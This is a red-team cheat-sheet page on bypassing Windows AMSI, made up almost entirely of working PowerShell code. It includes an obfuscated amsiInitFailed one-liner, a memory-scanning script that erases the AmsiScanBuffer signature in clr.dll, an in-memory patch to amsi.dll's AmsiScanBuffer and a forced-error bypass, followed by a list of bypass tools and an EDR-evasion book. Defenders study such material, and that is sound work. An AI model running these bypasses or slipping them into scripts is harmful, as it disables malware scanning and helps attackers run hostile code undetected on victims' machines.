AMSI Bypass

Bypass
S`eT-It`em ( 'V'+'aR' + 'IA' + (("{1}{0}"-f'1','blE:')+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a')) ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Define constants$PAGE_READONLY = 0x02$PAGE_READWRITE = 0x04$PAGE_EXECUTE_READWRITE = 0x40$PAGE_EXECUTE_READ = 0x20$PAGE_GUARD = 0x100$MEM_COMMIT = 0x1000$MAX_PATH = 260#Helper functionsfunction IsReadable { param ($protect, $state) return ( (($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT )}function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true}if($PSVersionTable.PSVersion.Major -gt 2) { #Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32"); $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False); #Define structs $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]); [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public); $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType(); #Define structs $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]); [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public); [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public); $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType(); #P/Invoke Methods $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class"); $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])); $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError"); $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True)); #Define [Win32.Kernel32]::VirtualProtect $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::GetCurrentProcess $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::VirtualQuery $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::GetSystemInfo $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::GetMappedFileName $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::ReadProcessMemory $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); #Define [Win32.Kernel32]::WriteProcessMemory $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute); $Kernel32 = $TypeBuilder.CreateType(); $a = "Ams"; $b = "iSc"; $c = "anBuf"; $d = "fer"; $signature = [System.Text.Encoding]::UTF8.GetBytes($a+$b+$c+$d); $hProcess = [Win32.Kernel32]::GetCurrentProcess(); #Get system information $sysInfo = New-Object Win32.SYSTEM_INFO; [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo); #List of memory regions to scan $memoryRegions = @(); $address = [IntPtr]::Zero; #Scan through memory regions while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) { $memInfo = New-Object Win32.MEMORY_INFO_BASIC; if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) { $memoryRegions += $memInfo; } #Move to the next memory region $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64()); } $count = 0; #Loop through memory regions foreach ($region in $memoryRegions) { #Check if the region is readable and writable if (-not (IsReadable $region.Protect $region.State)) { continue; } #Check if the region contains a mapped file $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) { $path = $pathBuilder.ToString(); if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) { #Scan the region for the pattern $buffer = New-Object byte[] $region.RegionSize.ToInt64(); $bytesRead = 0; [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead); for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) { $found = $True; for($m = 0; $m -lt $signature.Length; $m++) { if($buffer[$k + $m] -ne $signature[$m]) { $found = $False; break; } } if ($found) { $oldProtect = 0; if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) { [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect); } $replacement = New-Object byte[] $signature.Length; $bytesWritten = 0; [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten); $count++; if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) { [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect); } } } } } }}
String Manipulation

Bypass 1: Setting amsiInitFailed
[Ref].Assembly.GetType('http://System.Management .Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Nowadays, antivirus solutions block this AMSI
bypass command when run in PowerShell
Bypass: Concatenation
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$false)

Bypass 2: Patching amsiScanBuffer
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public static class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@;
$patch = [Byte[]] (0xB8, 0x05, 0x40, 0x00, 0x80, 0xC3);
$hModule = [Kernel32]::LoadLibrary("amsi.dll");
$lpAddress = [Kernel32]::GetProcAddress($hModule, "Amsi"+"ScanBuffer");
$lpflOldProtect = 0;
[Kernel32]::VirtualProtect($lpAddress, [UIntPtr]::new($patch.Length), 0x40, [ref]$lpflOldProtect) | Out-Null;
$marshal = [System.Runtime.InteropServices.Marshal];
$marshal::Copy($patch, 0, $lpAddress, $patch.Length);
[Kernel32]::VirtualProtect($lpAddress, [UIntPtr]::new($patch.Length), $lpflOldProtect, [ref]$lpflOldProtect) | Out-Null;

Bypass 3: Forcing an Error
$utils = [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils');
$context = $utils.GetField('amsi'+'Context','NonPublic,Static');
$session = $utils.GetField('amsi'+'Session','NonPublic,Static');
$marshal = [System.Runtime.InteropServices.Marshal];
$newContext = $marshal::AllocHGlobal(4);
$context.SetValue($null,[IntPtr]$newContext);
$session.SetValue($null,$null);

FullBypass
Get a reverse shell
Nuke-AMSI
Amsi-EtwPatch
OffensiveRust - AMSI Bypass
SharpKiller
AMSI Fail
EvilByte AMSI Patcher
Ebyte AMSI ProxyInjector
Interesting Books
Interesting BooksEvading EDR: The Definitive Guide to Defeating Endpoint Detection Systems The author uses his years of experience as a red team operator to investigate each of the most common sensor components, discussing their purpose, explaining their implementation, and showing the ways they collect various data points from the Microsoft operating system. In addition to covering the theory behind designing an effective EDR, each chapter also reveals documented evasion strategies for bypassing EDRs that red teamers can use in their engagements.
Resources
Last updated